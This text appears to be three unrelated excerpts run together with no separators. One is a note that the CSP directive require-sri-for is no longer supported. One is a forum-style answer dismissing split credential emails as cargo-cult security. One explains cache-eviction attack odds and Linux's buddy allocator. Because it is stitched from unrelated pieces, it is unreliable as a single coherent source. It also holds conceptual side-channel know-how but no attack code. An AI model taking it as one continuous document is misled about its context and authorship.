  The Content-Security-Policy directive require-sri-for is no longer supported due to concerns about its standardization status. It was previously available only behind a preference, which was off by default (bug 1386214).

Hopefully it will be back when the directive is standardized.


Requirement to send username and password in distinct email messages

I would characterize this security recommendation as Cargo Cult Security.  I don't know of an exploit that only compromises a single email.  There isn't a weakest link that is being removed by sending this in two emails,  its just annoying as hell to users.

A temporary password or token passed as a GET parameter is commonly sent via email.  I have never seen this process broken into two emails.

I would ask the security analyst that recommended this change to give you a specific scenario in which this improves security.


Assuming the operating system allocates pages completely randomly, my best calculation says that there's about a 11% chance that any given victim address will have at least 12 matching pages in your 4MB buffer.  That's not very likely, and certainly doesn't agree with the 70% success rate you saw.

However, there are good reasons for an operating system to avoid mapping pages randomly, and instead to try its best to map contiguous pages.  One reason for this is that the OS sometimes needs to allocate large contiguous buffers (to support huge pages or large DMA buffers, for example), and random allocation of physical pages would make it really hard to find a large enough region.  This is known as memory fragmentation.

But in the context of this discussion, a more interesting benefit of contiguous allocation is (ironically enough) the level-3 cache performance.  If you're running an algorithm that uses a large memory buffer, the way to get the best performance is to allocate contiguous physical memory, so that the individual pages don't evict each other from the cache.  If the OS succeeds in maximizing performance this way, then it will also succeed in maximizing the attack's effectiveness: your 4MB buffer will cover the entire cache, and you'll have a 100% chance of evicting a victim page.  So your observed 70% success rate is less a measure of chance, and more a rough measure of how effective the OS is at allocating pages for good cache performance.

If you want to see an example of an OS working this way in practice, read about Linux's buddy allocator.  It starts by breaking memory into a set of large free blocks.  Then, if it wants to allocate a page, it takes one of those large blocks and splits it in half.  It then takes one of the halves and splits it in half again, and continues until it's got a pair of 1-page-sized block -- at which point it's also got one 2-page-sized block, one 4-sized, one 8-sized, etc.  The first two allocations will be those two 1-page blocks, which are right next to each other because they are the result of breaking a 2-page block in half.  The third allocation will break the other 2-page block in half, which again will be next to the other two for the same reasons.

So whenever it needs a new page, the allocator takes the smallest block it can find and breaks it down until it's got a single page.  Finally, when a page is freed, the allocator checks to see if there is a free page right next to it, so it can form those two pages back into a larger block.  The net effect is to keep allocations roughly contiguous when possible.